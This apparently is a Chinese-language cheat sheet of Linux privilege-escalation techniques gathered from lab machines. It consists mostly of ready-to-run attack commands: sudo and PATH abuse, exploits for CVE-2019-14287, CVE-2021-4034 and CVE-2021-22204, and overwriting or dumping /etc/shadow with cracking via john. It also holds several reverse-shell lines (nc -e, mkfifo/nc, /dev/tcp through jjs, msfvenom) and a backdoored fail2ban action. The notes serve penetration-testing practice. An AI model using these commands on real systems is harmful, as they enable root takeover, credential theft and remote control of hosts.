前提:cat一个文件,里面有它执行了ps
ln -s /bin/sh ps 创建软连接 将有sh封装到ps里面
export PATH=.:$PATH
./ procwatch 执行文件就可以提权了
这是靶机mercury里的
cd /tmp touch tail echo '/bin/bash' > tail chmod 777 tail export PATH=/tmp:$PATH
./tail
直接这样环境变量劫持不行sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原因此通常情况下,当使用 sudo 命令时,通过本地修改环境变量也没法替换目标文件来进行提权但如果sudo在配置时为用户设置了SETENV选项,情况就不一样了。SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量,加个sudo --preserve-env=PATH /usr/bin/check_syslog.sh就可以了
2.用软连接将vi装到tail里面
ln -s /bin/vi tail
export PATH=.:$PATH
echo $PATH
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
--preserve-env=PATH 这个是因为前面要设置环境变量
成功启动了一个vi 输入 :!bash
(root:root)setenv:/usr/bin/check_syslog.sh 是有root执行,但是要设置env
CVE-2019-14287(sudo<1.8.28)
sudo -l
(env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(ALL, !root) NOPASSWD: /bin/bash
(ALL:!root) :这表示 <user>可以以任何⽤户( ALL )的身份运⾏命令,除了 root ⽤户( !root )。)
sudo -u#-1 /bin/bash
如果您指定UID为-1(或其⽆符号等效值:4294967295),Sudo会错误地将其读取为0(即root)。这意味着通过指定UID为-1或4294967295,尽管被明确禁⽌这样做,您仍然可以以root身份执⾏命令。值得注意的是,仅当您在上述配置中被授予⾮root sudo权限时,这种⽅法才有效。
sudo -V | grep version 可以产看sudo的版本
Polkit(CVE-2021-4034)
漏洞影响2009年5月至今的所有polkit版本 由于polkit是系统预装工具,所有存在polkit的linux系统均受影响 如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等 -判断:dpkg -l policykit-1 -利用: git clone https://github.com/berdav/CVE-2021-4034.gitcd CVE-2021-4034/ make ./cve-2021-4034
这是靶机 的connect-the-dots
find后发现suid权限文件有个polkit
ls -laih 看它权限(一个文件 polkit-agent-helper-1)
用polkit( 操作文件需要权限它helper会给你一个界面,它有suid全面,看如何可以调用helper就可以提权 )
systemd-run(临时启用高权限的东西,,-t是伪终端 只要找一个调用hellp的伪终端就可以)
system-run -t /bin/bash提权成功
sudo -l(delx : delx)BOPASSWD: /bin/ld.so
直接 sudo -u delx /bin/ld.so /bin/sh 提权
简单绕过waf
背景
扩展过滤器加简单waf
启动“ sudo -l ”并列出一个我们可以作为“root”执行的脚本。
当我们尝试执行它时,系统提示我们一条消息*“读取文件无效”*
sudo -u root /usr/bin/blackrose 很明显我们无权访问该脚本
在尝试阅读不同的扩展之后,我们找到了一个对我们有用的扩展,即“ PHP”
写执行/bin/sh语句的php文件有waf
rbash限制
echo $PATH 看路径
echo /home/tom/usr/bin/* (看该路径下可以执行的命令有什么)
绕过rbash后用
export PATH=$PATH:/bin/
export PATH=/usr/sbin:/usr/bin:/sbin:/bin 补充环境变量下的命令
https://m.freebuf.com/vuls/376922.html
https://cloud.tencent.com/developer/article/1680551
https://www.freebuf.com/articles/system/188989.html
这里面的ssh 加-t参数bypass的时候要记得添加环境变量
echo $PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-
使用 / 符号
-
使用 cp 命令
-
使用 ftp, gdb, more, man, less, vim, rvim 等命令
-
使用 awk, find, expect, python, php, perl, lua, ruby 等编程语言或工具
-
使用 ssh 命令
-
使用 git 命令
-
使用 pico 命令
-
使用 vi 命令
-
echo绕过lshell echo os.system("/bin/bash")
Serv -u提权
https://blog.csdn.net/heli200482128/article/details/77833881
http://chenall.net/post/linux-sudo-config/有关sudoders的介绍
直接searchsploit 找exp
看改服务的版本筛选出exp上去执行
ht修改/etc/sudoers文件提权
ht是一个编辑器
sudo /usr/local/bin/ht
我的kali需要shift加f3 打开/etc/sudoers文件
修改用户 all=(all)all
sudo /bin/bash提权
或者
发现有ht后
出现Error opening terminal: xterm-256color. 的解决办法export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht /etc/users
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht /etc/users
然后按f6 更改文本 看到
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
简单地替换“!” 通过一个空格 (0x20),因此运行 /usr/bin/su
但是sudo /user/bin/su不行
which su su在/bin/su下
改loneferret ALL=NOPASSWD: /bin/su, /usr/local/bin/ht
成功
chkrootkit提权
searchsploit chkrootkit 第二个 或者谷歌搜索可以看它的利用
复现步骤就是任意用户可以在/tmp下写入反弹shell到update文件里然后执行它,
echo "/usr/bin/nc -e /bin/sh 192.168.44.143 4444" > /tmp/update
chmod 777 update
./upadte
kali监听
docker提权
docker pull alpine
-
docker pull
:此命令用于从容器注册表(例如 Docker Hub)中提取映像。 -
alpine
:这是您要拉取的镜像的名称。在本例中,它指的是 Alpine Linux 映像docker images
您可以通过运行以下命令来验证映像是否已下载:
alpine
您应该在本地 Docker 镜像列表中看到该镜像的条目。
docker run -v /:/mnt -it alpine
-
docker run
:该命令用于运行Docker容器。 -
-v /:/mnt
:此选项将主机的根目录挂载/
到路径 的容器中/mnt
。这意味着可以在 容器内访问主机的根目录/mnt
。 -
-it
:这些选项使容器具有交互性(-i
用于交互和-t
分配伪 TTY)。 -
alpine
:这是您要运行的 Docker 映像的名称。
因此,当您运行此命令时,它会在基于 Alpine Linux 映像的新容器中启动交互式 shell,并将主机的整个根目录挂载在/mnt
容器内。
这样的root权限是不完整的,可以vim改/etc/passwd文件
apach2
linpeas.sh看到
/etc/apache2/apache2.conf是可写的任意用户
先将这些复制到本地,然后修改
为mahakal,上传一个shell.php到html下
重启靶机,访问shell.php,反弹回来mahakal用户
sudo apt
sudo -l
(Matching Defaults entries for jackie on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sn
ap/bin, use_pty
User jackie may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/ap)
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
(-o APT::Update::Pre-Invoke::=/bin/bash :这是⼀个 apt 命令的选项,⽤于设置在运⾏ apt update 之前执⾏的预处理脚本。::类似于名字空间,逐级访问⼦配置)
拓展和说明
如下两种⽅法,在此例中不⽣效,但不是都不⾏,取决于版本等环境因素:
sudo apt changelog apt
!/bin/sh
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
sudo apache2
sudo -l
(Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/apache2)
sudo apache2 -f /etc/shadow
(,-f,指定替代 ServerConfigFile,使⽤此选项加载 /etc/shadow ⽂件,将产⽣⼀条错误信息,却包含了 /etc/shadow ⽂件的第⼀⾏数据。由此产⽣利⽤路径。)
在kali中
sudo john root_hash --wordlist=/usr/share/wordlists/rockyou.txt
回到靶机:
su
sudo ash
sudo -l
(Matching Defaults entries for jackie on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sn
ap/bin, use_pty
User jackie may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/ash)
sudo /usr/bin/ash
ash 是 Bourne shell(sh)的⼀个轻量级版本,它消耗的系统资源更少,通常⽤于嵌⼊式系统和资源有限的环境。不管什么shell,只要是shell的直接以sudo执⾏那肯定可以提权。
sudo awk
sudo -l
(Matching Defaults entries for jackie on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sn
ap/bin, use_pty
User jackie may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/awk)
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
BEGIN {system("/bin/bash")}'是awk的语法,是传递给 awk 的脚本。 BEGIN 是 awk 的⼀个特殊模式,表示在处理任何输⼊⾏之前执⾏的动作。在这个脚本中, BEGIN 块中的唯⼀动作是调⽤ system函数。 system 函数⽤于在 awk 内部执⾏ shell 命令,这⾥的命令是 /bin/bash ,也就是启动⼀个新的 bash shell
sudo apt
sudo -l
((root) NOPASSWD: /usr/bin/apt)
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
(-o APT::Update::Pre-Invoke::=/bin/bash :这是⼀个 apt 命令的选项,⽤于设置在运⾏ apt update 之前执⾏的预处理脚本。::类似于名字空间,逐级访问⼦配置)
apt-get⽤法与此相同
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
sudo apache2
sudo -l
((root) NOPASSWD: /usr/sbin/apache2)
sudo apache2 -f /etc/shadow (利用报错爆出信息)
在kali中
sudo john root_hash --wordlist=/usr/share/wordlists/rockyou.txt
回到靶机:
su
解释
Apache2的帮助信息提示,它有⼀个⽀持加载替代配置⽂件的选项,-f,指定替代 ServerConfigFile。使⽤此选项加载 /etc/shadow ⽂件,将产⽣⼀条错误信息,却包含了 /etc/shadow ⽂件的第⼀⾏数据。由此产⽣利⽤路径。
sudo ash
sudo -l
((root) NOPASSWD: /usr/bin/ash)
sudo /usr/bin/ash
ash 是 Bourne shell(sh)的⼀个轻量级版本,它消耗的系统资源更少,通常⽤于嵌⼊式系统和资源有限的环境。不管什么shell,只要是shell的直接以sudo执⾏那肯定可以提权。
sudo awk
sudo -l
(Matching Defaults entries for jackie on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sn
ap/bin, use_pty
User jackie may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/awk)
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
(BEGIN {system("/bin/bash")}'是awk的语法,是传递给 awk 的脚本。 BEGIN 是 awk 的⼀个特殊模式,表示在处理任何输⼊⾏之前执⾏的动作。在这个脚本中, BEGIN 块中的唯⼀动作是调⽤ system函数。 system 函数⽤于在 awk 内部执⾏ shell 命令,这⾥的命令是 /bin/bash ,也就是启动⼀个新
的 bash shell)
sudo base64
sudo -l
(root) NOPASSWD: /usr/bin/base64
cat /etc/shadow
RedteamNotes=/etc/shadow
sudo base64 "$RedteamNotes" | base64 -d
在kali中
vim root_hash2
cat root_hash2
root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::
sudo john root_hash2 --wordlist=/usr/share/wordlists/rockyou.txt
回到靶机:su
base32 、 base58、basenc、basez 等可以⽤同的⽅法
sudo bash
sudo -l
(root) NOPASSWD: /usr/bin/bash
sudo /bin/bash
包括刚刚讲的ash和现在这个bash,以及如下这些,都可以⽤⼏乎相同的语法,实现提权,因为他们本身就是shell。
/usr/bin/csh
/usr/bin/dash
/usr/bin/sh
/usr/bin/tclsh
/usr/bin/zsh
sudo cp
sudo -l
(root) NOPASSWD: /usr/bin/cp
这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验。
在kali中:
mkpasswd -m sha-512 123456
前面编辑加个root
root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::
在靶机中:
RedteamNotes=/etc/shadow
TF=$(mktemp)
TF=$(mktemp)做临时⽂件赋值给TF,这种做临时⽂件的⽅式是专业的做法,是最佳实践
echo'root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::' > $TF
echo $TF
(/tmp/tmp.bpJlJC5XIv)
cat /tmp/tmp.bpJlJC5XIv
sudo /usr/bin/cp $TF $RedteamNotes
su
Password: //使⽤密码123456,在kali⽣成密码时设定的。
sudo cpulimit
sudo -l
((root) NOPASSWD: /usr/bin/cpulimit)
sudo cpulimit -l 100 -f /bin/bash
cpulimit 是⼀个⼯具,⽤于限制⼀个进程的 CPU 使⽤率。 -l 参数后⾯跟的是百分⽐,这⾥的 100
意味着限制 CPU 使⽤率为 100%。
-f 参数是指定需要限制 CPU 使⽤率的命令或程序。在这⾥, /bin/sh 是被限制的命令。
总的来说, sudo cpulimit -l 100 -f /bin/sh 这个命令的⽬的是以超级⽤户权限限制 /bin/sh 命令的 CPU 使⽤率不超过 100%。
随后按这个标准启动进程。所以我们获得了提权。
sudo curl
sudo -l
((root) NOPASSWD: /usr/bin/curl)
这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验。
在kali中,⽤我们⾃⼰⽣成的密码hash构造shadow格式的⽂件,然后架设简易web服务备⽤。
mkpasswd -m sha-512 123456
$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1
vim shadow_bespoke
cat shadow_bespoke(加个root:)
sudo php -S 0:80
在靶机端:
sudo curl http://10.10.10.10/shadow_bespoke-o /etc/shadow
su
cat /etc/shadow 的结果只有root账号,证明这种提权⽅式是有损的。
-o 参数后⾯跟的是你要保存⽂件的位置。在这⾥, /etc/shadow 是保存下载⽂件的路径。要和wget的-O是保存区分开。
sudo date
sudo -l
(root) NOPASSWD: /usr/bin/date
sudo date -f /etc/shadow
在kali中
vim root_hash
cat root_hash
root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::
sudo john root_hash --wordlist=/usr/share/wordlists/rockyou.txt
回到靶机:
su
-f 参数允许 date 从给定的⽂件中读取⽇期和时间。这个⽂件应包含⼀⾏或多⾏⽇期和时间信息。虽然报错 /etc/shadow ⽂件却被显示出来
sudo dd
sudo -l
(root) NOPASSWD: /usr/bin/dd
这种利⽤是有损的,务必提前为靶机做快照,利⽤后还原靶机后,再继续做其他实验
在kali中,⽤我们⾃⼰⽣成的密码hash构造shadow格式数据。
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ mkpasswd -m sha-512 123456
$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ vim shadow_bespoke
┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers]
└─$ cat shadow_bespoke
root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::
在靶机中:
echo
'root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::' | sudo dd of=/etc/shadow
su
dd 是⼀个命令⾏⼯具,常⽤在 Unix 和 Linux 系统中,⽤于对原始数据进⾏低级别的复制和转换。它⾮常灵活,可以⽤于许多任务,如复制数据、转换数据的编码、⽣成⽂件等。
if是输⼊,of是输出。本例中我们管道符实现输⼊。
sudo dstat
sudo -l
(root) NOPASSWD: /usr/bin/dstat
找到插件⽬录,准备按照格式撰写利⽤功能的插件
find / -name dstat -type d 2>/dev/null
ls /usr/share/dstat
cd /usr/share/dstat
ls -liad .
173021 drwxrwxrwx 3 root root 4096 May 18 09:00 .
确认可以尝试,执⾏具体利⽤代码:
vim dstat_exploit.py
cat dstat_exploit.py
import os; os.execv("/bin/bash", ["bash"])
sudo dstat --exploit
dstat是⼀个⽤于系统监控和诊断的⼯具,它提供了实时的性能统计数据和系统资源使⽤情况。通过使⽤dstat命令,您可以获得关于CPU、内存、磁盘、⽹络等⽅⾯的详细信息。
它允许创建⾃定义插件,并以 dstat --myplugin 执⾏
利⽤的名字后缀就是插件执⾏时的引⽤名。
sudo ed
sudo -l
jackie@RedteamNotes:~$ sudo ed
!/bin/bash
root@RedteamNotes:/home/jackie# whoami
root
主要是,你要知道ed是⼀个编辑器,⼀个基于⾏的⽂本编辑器,它被设计成在终端中进⾏操作,并且没有图形⽤户界⾯。
!/bin/sh 是在 ed 编辑器中输⼊的命令。这个命令告诉 ed 执⾏⼀个外部的 shell 脚本。
不知道ed编辑器的基本交互⾏⽂,进度ed编辑器,但你可能不知道怎么交互。
使⽤ q 命令退出编辑器
sudo env
sudo -l
sudo env /bin/bash
env 通常⽤于设置和显示环境变量的值。在本利⽤中, env 命令⽤于在指定的环境下执⾏后⾯的命令。
sudo exiftool(7.44-12.23)
sudo -l
查看exiftoo版本信息
stux@ubuntu:~$ exiftool -ver
12.05
根据CVE-2021-22204,exiftool的12.05可以存在漏洞。⼀般认为exiftool 7.44-12.23都可能存在漏洞。根据利⽤⽂件执⾏如下利⽤。
vi payload
(metadata "\c${system('/bin/bash')};")
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu
BZZ是⼀种⽂件压缩格式,它提供了⾼压缩⽐和快速解压缩速度。
DjVuMake是⽤于创建和转换DjVu⽂件的⼯具。DjVu是⼀种图像压缩⽂件格式,主要⽤于扫描⽂档和电⼦书。DjVu⽂件通常⽤于在⽹络上共享⼤型扫描⽂档,以便更快地加载和浏览。
sudo expect
sudo -l
sudo expect -c 'spawn /bin/bash;interact'
expect 能够模拟⽤户的键盘输⼊(例如,密码和其他响应),因此可以⾃动化需要⽤户交互的过程。它主要⽤于脚本和其他⾃动化环境中。
整个命令 sudo expect -c 'spawn /bin/bash;interact' 将以 root ⽤户的身份在新的 shell 进程中开启⼀个交互式会话。 -c 允许你直接在命令⾏中输⼊ expect 脚本代码,⽽不是从⽂件中读取。
sudo fail2ban(利用mv cp)
监控日志文件:Fail2ban会监视指定的日志文件,通常是与身份验证(例如SSH、FTP、HTTP等)相关的日志。它会检查日志文件中的登录尝试,尤其是失败的登录尝试。
这个有点乱
sudo -l
((root) NOPASSWD: /etc/init.d/fail2ban restart)
查找fail2ban的配置⽂件:
find / -name "fail2ban*" -type d 2>/dev/null
find /etc -writable -type d 2>/dev/null
(/etc/fail2ban/action.d)
fail2ban的规则⽂件⽂件夹可写。
在配置⽂件中有:
cd /etc/fail2ban
jackie@RedteamNotes:/etc/fail2ban$ ls -liah jail.conf
(442894 -rw-r--r-- 1 root root 25K May 22 09:27 jail.conf)
通过如下⽅式修改⽤户权限,为了其可编辑
jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf
395004 -rw-r--r-- 1 root root 1.5K Nov 23 2020 iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables
multiport.conf.bak
jackie@RedteamNotes:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak
iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf
394582 -rw-r--r-- 1 jackie jackie 1.5K May 22 15:59 iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ chmod 666 iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ ls -liah iptables-multiport.conf
394582 -rw-rw-rw- 1 jackie jackie 1.5K May 22 15:59 iptables-multiport.conf
这种权限变化是可能的,因为⽤户"jackie"在当前⽬录("/etc/fail2ban/action.d")下对⽂件"iptables-multiport.conf"具有写权限。然后修改iptables-multiport.conf,加⼊反弹shell逻辑
同时你⼀定要知道,mv是移动⽂件,属主不变,cp是创建⽂件属主会是操作者的数组。这很关键。
编辑文件
jackie@RedteamNotes:/etc/fail2ban/action.d$ vim iptables-multiport.conf
jackie@RedteamNotes:/etc/fail2ban/action.d$ cat iptables-multiport.conf | grep
actionban
# Notes.: command executed once before each actionban command
# Option: actionban
# actionban = <iptables>-I f2b-<name>1 -s <ip>-j <blocktype>
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10
⽤到给我们的sudo权限,重启fail2ban:
jackie@RedteamNotes:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
Restarting fail2ban (via systemctl): fail2ban.service.
在kali中建⽴监听
sudo nc -lvnp 9595
尝试(多次失败)
然后在kali中快速⽤空密码登录jackie的ssh,之所以⽤空密码还是想快速产⽣失败登录,因为jail.conf中设置的时间就很短
sudo ssh [email protected] 多次尝试
在kali的监听shell中获得反弹shell。
sudo find
sudo -l
sudo find . -exec /bin/bash \; -quit
(说明在pdf78)
sudo flock
sudo -l
sudo flock -u / /bin/bash
flock : 这是⼀个在Linux中管理⽂件锁定的实⽤程序。它可以⽤来协调多个进程对⽂件或⽂件系统的访问,避免这些进程同时访问同⼀资源导致的问题。 -u : 这是⼀个flock的选项,表示解锁。
sudo flock -u / /bin/bash 这条命令的含义就是以管理员权限来解锁对根⽬录的锁定,并以bashshell来执⾏这个操作。
sudo ftp
sudo -l
sudo ftp
ftp> !/bin/bash
! 在这⾥是⼀个特殊的字符,表示要暂时离开 FTP 会话并在本地 shell 中执⾏命令。!的这个⽤法在vi、ed等编辑器场景下也存在。可以总结为⼀种通⾏做法。
sudo gcc
sudo -l
sudo gcc -wrapper /bin/bash,-s .
\1. -wrapper :这是 gcc 的⼀个选项,它允许你在 gcc 调⽤实际编译器或链接器之前,先调⽤⼀个包装器(wrapper)脚本或程序。
\2. ,-s :是 bash 带的⼀个选项,它使得 bash 在读取到 EOF 时不会退出(通常⽤于从标准输⼊读取命令)
\3. 最后那个 . 就是编译的源码,你给他任意源码也⾏,但因为不想编译任何东⻄,所以最简略的就是给他很通⽤的东⻄——当前⽬录的全部。如果你有具体的⽂件或不存在的⽂件,给他,没问题
sudo gdb
sudo -l
sudo gdb -nx -ex '!bash' -ex quit
\1. gdb : 这是GNU Debugger的缩写,⼀个被⼴泛使⽤的源代码级别的调试器,可以⽤来调试各种程
序。它主要⽤于调试C和C++语⾔编写的程序,但也⽀持其他语⾔,如Fortran、Ada等。
\2. -nx : "no execute"这个选项告诉gdb在启动时不读取任何 .gdbinit ⽂件。 .gdbinit ⽂件是⼀个配
置⽂件,gdb在启动时会读取这个⽂件中的命令。
\3. -ex : "execute"这个选项允许你在gdb启动时执⾏⼀段gdb命令。"execute"
\4. '!bash' : 在gdb中, ! ⽤来执⾏shell命令,因此 !bash 就是在gdb中启动⼀个bash shell。
\5. -ex quit : 这个命令让gdb在执⾏完前⾯的命令之后退出
sudo git
sudo -l
sudo git branch --help
!/bin/sh
branch :这是 git 的⼀个⼦命令,⽤于处理代码库中的分⽀。你可以使⽤ git branch 创建、列出、删除分⽀。
git的使⽤有特别多种变体,也是为了适应不同的渗透环境。
git⽤的标准manual⼯具,然后就可以⽤manual提权的思路了。和less、more的类似。
sudo gzip/gunzip
sudo -l
sudo gzip -f /etc/shadow -t
会报错出信息
在kali中
vim root_hash
cat root_hash
root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::
sudo john root_hash --wordlist=/usr/share/wordlists/rockyou.txt
回到靶机:
su
-f : 这是 gzip 命令的⼀个选项,意味着"强制"。如果⽬标⽂件已经存在,gzip 会询问是否覆盖。-f参数会使 gzip 不询问⽽直接覆盖⽂件。
-t : 这是 gzip 命令的另⼀个选项,⽤来测试压缩⽂件的完整性。如果压缩⽂件没有问题,该命令将不输出任何内容。如果有问题,它会显示错误。
在 gzip 命令中, -t 参数的主要作⽤是测试已经压缩的 .gz ⽂件的完整性。当⽤ -t 参数运⾏gzip 时, gzip 将检查指定的压缩⽂件,以确保它没有被损坏。
但是,你在 sudo gzip -f /etc/shadow -t 命令中使⽤ -t 参数,此处它被⽤作⼀个技巧来尝试读取 /etc/shadow ⽂件。在这个上下⽂中,它是⼀个提权操作的⼀部分,因为 sudo 允许命令以 root
⽤户的权限运⾏。当 gzip -t 尝试读取和测试 /etc/shadow 时,它实际上访问了这个包含敏感信息的⽂件。
因此,虽然 -t 的常规⽤途是⽤来测试 .gz ⽂件的完整性,但在这个特定的命令中,它作为⼀个间接的⽅式被⽤来访问敏感的系统⽂件。
提示: gunzip提权利⽤⽤法于此相同。
sudo hping3
sudo -l
sudo hping3
hping3> /bin/bash
Hping3 是⼀个强⼤的⽹络⼯具,主要⽤于分析和测试⽹络环境,⽣成各种类型的 ICMP、IP、TCP、UDP 或 RAW-IP 协议数据包。
在交互式命令⾏中启动新的bash会话。
sudo iftop
sudo -l
sudo iftop
!/bin/bash
iftop 是⼀个命令⾏的⽹络流量监控⼯具,⽤于实时显示⼀个⽹络接⼝的带宽使⽤情况。类似于 top命令,它可以提供活动的⽹络连接和使⽤带宽的实时视图
sudo java
sudo -l
sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f jar -o shell.jar
sudo php -S 0:80
同时在kali中建⽴监听
sudo nc -lvnp 4444
在靶机中下载shell.jar后,利⽤
sudo /usr/bin/java -jar shell.jar
在kali中收到反弹shell:
sudo nc -lvnp 4444
sudo jjs
sudo -l
在kali中建⽴监听:
sudo nc -lvnp 9595
在靶机中执⾏构造的语句:
jackie@RedteamNotes:~$ echo
"Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec
5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do $line 2>&5 >&5;
done']).waitFor()" | sudo jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec
5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do $line 2>&5 >&5;
done']).waitFor()
在kali中收到反弹shell,交互性待完善。
但是提升交互性提升失败, python3 -c "import pty;pty.spawn('/bin/bash')" 等尝试均失效。怎么办?还有办法吗?现在不提⾼也可以了,但你就⾮想提⾼下交互性,重新规划管道和信息流?其实新建⼀个反弹shell是最快的,最透明的。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
在kali中收shell就好了
sudo nc -lvnp 4444
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)